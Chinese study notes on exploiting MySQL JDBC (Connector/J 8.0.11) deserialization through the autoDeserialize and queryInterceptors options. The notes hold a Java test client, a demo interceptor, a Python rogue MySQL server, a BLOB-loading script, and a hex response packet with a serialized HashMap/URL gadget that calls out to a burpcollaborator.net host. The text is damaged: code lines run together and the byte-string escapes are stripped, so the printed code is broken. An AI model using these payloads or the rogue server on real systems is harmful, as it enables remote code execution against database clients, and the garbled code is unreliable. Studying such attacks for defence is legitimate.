MySQL反序列化学习

<dependencies>        <dependency>            <groupId>mysql</groupId>            <artifactId>mysql-connector-java</artifactId>            <version>8.0.11</version>        </dependency>    </dependencies>

package com.test;
import java.sql.*;import java.util.HashMap;import java.util.Map;
/** queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true* */public class MysqlTest {    public static String user;    public static String password;    public static Connection conn;
    static{        try {            Class.forName("com.mysql.cj.jdbc.Driver");            System.out.println("加载数据库驱动完成");        } catch (ClassNotFoundException e) {            e.printStackTrace();        }
        user = "root";        password = "root";        try {            conn = DriverManager.getConnection("jdbc:mysql://127.0.0.1:3306/test?useUnicode=true&characterEncoding=gbk&serverTimezone=UTC&useSSL=false&autoDeserialize=true", user, password);            System.out.println("数据库连接成功");        } catch (SQLException throwables) {            throwables.printStackTrace();        }    }
    public static void main(String[] args) {        String sql = "select name from user where name='haha'";        String sql3 = "select binary_data from mytable";        String sql2 = "SHOW SESSION STATUS";        Map<String, String> toPopulate = new HashMap<>();        try {            Statement stat = conn.createStatement();            ResultSet resultSet = stat.executeQuery(sql2);            resultSet.next();            Object string = resultSet.getObject(1);            System.out.println(string);        } catch (SQLException throwables) {            throwables.printStackTrace();        }    }}

package com.test;
import com.mysql.cj.MysqlConnection;import com.mysql.cj.Query;import com.mysql.cj.interceptors.QueryInterceptor;import com.mysql.cj.jdbc.JdbcConnection;import com.mysql.cj.log.Log;import com.mysql.cj.protocol.Resultset;import com.mysql.cj.protocol.ServerSession;
import java.util.Properties;import java.util.function.Supplier;
public class DemoInterceptor implements QueryInterceptor {
    public JdbcConnection connection;
    public QueryInterceptor init(MysqlConnection mysqlConnection, Properties properties, Log log) {        this.connection = (JdbcConnection)mysqlConnection;        return this;    }
    public <T extends Resultset> T preProcess(Supplier<String> supplier, Query query) {        System.out.println("查询前被调用");        return null;    }
    public boolean executeTopLevelOnly() {        return false;    }
    public void destroy() {
    }
    public <T extends Resultset> T postProcess(Supplier<String> supplier, Query query, T t, ServerSession serverSession) {        System.out.println("查询后被调用");        return null;    }}

jdbc:mysql://127.0.0.1:3306/test?useUnicode=true&characterEncoding=gbk&serverTimezone=UTC&useSSL=false&autoDeserialize=true&queryInterceptors=com.test.DemoInterceptor

 if (!(Boolean)this.connection.getPropertySet().getBooleanReadableProperty("autoDeserialize").getValue()) {    return data;}

if (data[0] != -84 || data[1] != -19) {    return this.getString(columnIndex);}

import socketimport timeimport struct
test_packet = b'x4ax00x00x00x0ax35x2ex37x2ex32x36x00x08x00x00x00x21x7ex5ax16x0cx5dx20x65x00xffxf7xc0x02x00xffx81x15x00x00x00x00x00x00x00x00x00x00x7ax72x06x25x3ax38x4dx4fx3bx37x3dx29x00x6dx79x73x71x6cx5fx6ex61x74x69x76x65x5fx70x61x73x73x77x6fx72x64x00'success = b'x07x00x00x02x00x00x00x02x00x00x00'response_ok = b'x07x00x00x01x00x00x00x02x00x00x00'

socket_server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)socket_server.bind(('0.0.0.0', 3306))socket_server.listen()
conn,addr = socket_server.accept()conn.send(test_packet)AUTH_PACK = conn.recv(1024)conn.send(success)request = conn.recv(1024)print(request)
while True:    conn.send(response_ok)    print("again")    res1 = conn.recv(1024)    if "SHOW SESSION STATUS" in  res1.decode():        print("res1 : " + res1.decode())        #conn.send(res_session2)    elif "select user from" in res1.decode():        print("res1 : " + res1.decode())        #conn.send(eval_res2)    elif "select binary_data from" in res1.decode():        print("res1: " + res1.decode())        #conn.send(eval_res2)            conn.close()

CREATE TABLE mytable (    id INT PRIMARY KEY,    binary_data BLOB);

import mysql.connector
cnx = mysql.connector.connect(user='root', password='root',                              host='127.0.0.1',                              database='test')
# 读取二进制文件内容with open("/eval.ser", "rb") as f:    blob_data = f.read()    print(blob_data)
# 插入 BLOB 数据query = "INSERT INTO mytable (binary_data) VALUES (%s)"cursor = cnx.cursor()cursor.execute(query, (blob_data,))cnx.commit()
# 关闭数据库连接cursor.close()cnx.close()

String sql = "select binary_data from mytable";Statement stat = conn.createStatement();ResultSet resultSet = stat.executeQuery(sql);resultSet.next();Object string = resultSet.getObject(1);System.out.println(string);

x01x00x00x01x01x3ex00x00x02x03x64x65x66x04x74x65x73x74x07x6dx79x74x61x62x6cx65x07x6dx79x74x61x62x6cx65x0bx62x69x6ex61x72x79x5fx64x61x74x61x0bx62x69x6ex61x72x79x5fx64x61x74x61x0cx3fx00xffxffx00x00xfcx91x10x00x00x00x64x01x00x03xfcx61x01xacxedx00x05x73x72x00x11x6ax61x76x61x2ex75x74x69x6cx2ex48x61x73x68x4dx61x70x05x07xdaxc1xc3x16x60xd1x03x00x02x46x00x0ax6cx6fx61x64x46x61x63x74x6fx72x49x00x09x74x68x72x65x73x68x6fx6cx64x78x70x3fx40x00x00x00x00x00x0cx77x08x00x00x00x10x00x00x00x01x73x72x00x0cx6ax61x76x61x2ex6ex65x74x2ex55x52x4cx96x25x37x36x1axfcxe4x72x03x00x07x49x00x08x68x61x73x68x43x6fx64x65x49x00x04x70x6fx72x74x4cx00x09x61x75x74x68x6fx72x69x74x79x74x00x12x4cx6ax61x76x61x2fx6cx61x6ex67x2fx53x74x72x69x6ex67x3bx4cx00x04x66x69x6cx65x71x00x7ex00x03x4cx00x04x68x6fx73x74x71x00x7ex00x03x4cx00x08x70x72x6fx74x6fx63x6fx6cx71x00x7ex00x03x4cx00x03x72x65x66x71x00x7ex00x03x78x70xffxffxffxffxffxffxffxffx74x00x33x7ax77x7ax30x6ax38x37x72x34x7ax79x63x62x77x75x35x68x70x79x6ex76x62x30x64x79x34x34x75x73x6ax2ex62x75x72x70x63x6fx6cx6cx61x62x6fx72x61x74x6fx72x2ex6ex65x74x74x00x00x71x00x7ex00x05x74x00x04x68x74x74x70x70x78x74x00x3ax68x74x74x70x3ax2fx2fx7ax77x7ax30x6ax38x37x72x34x7ax79x63x62x77x75x35x68x70x79x6ex76x62x30x64x79x34x34x75x73x6ax2ex62x75x72x70x63x6fx6cx6cx61x62x6fx72x61x74x6fx72x2ex6ex65x74x78x07x00x00x04xfex00x00x02x00x00x00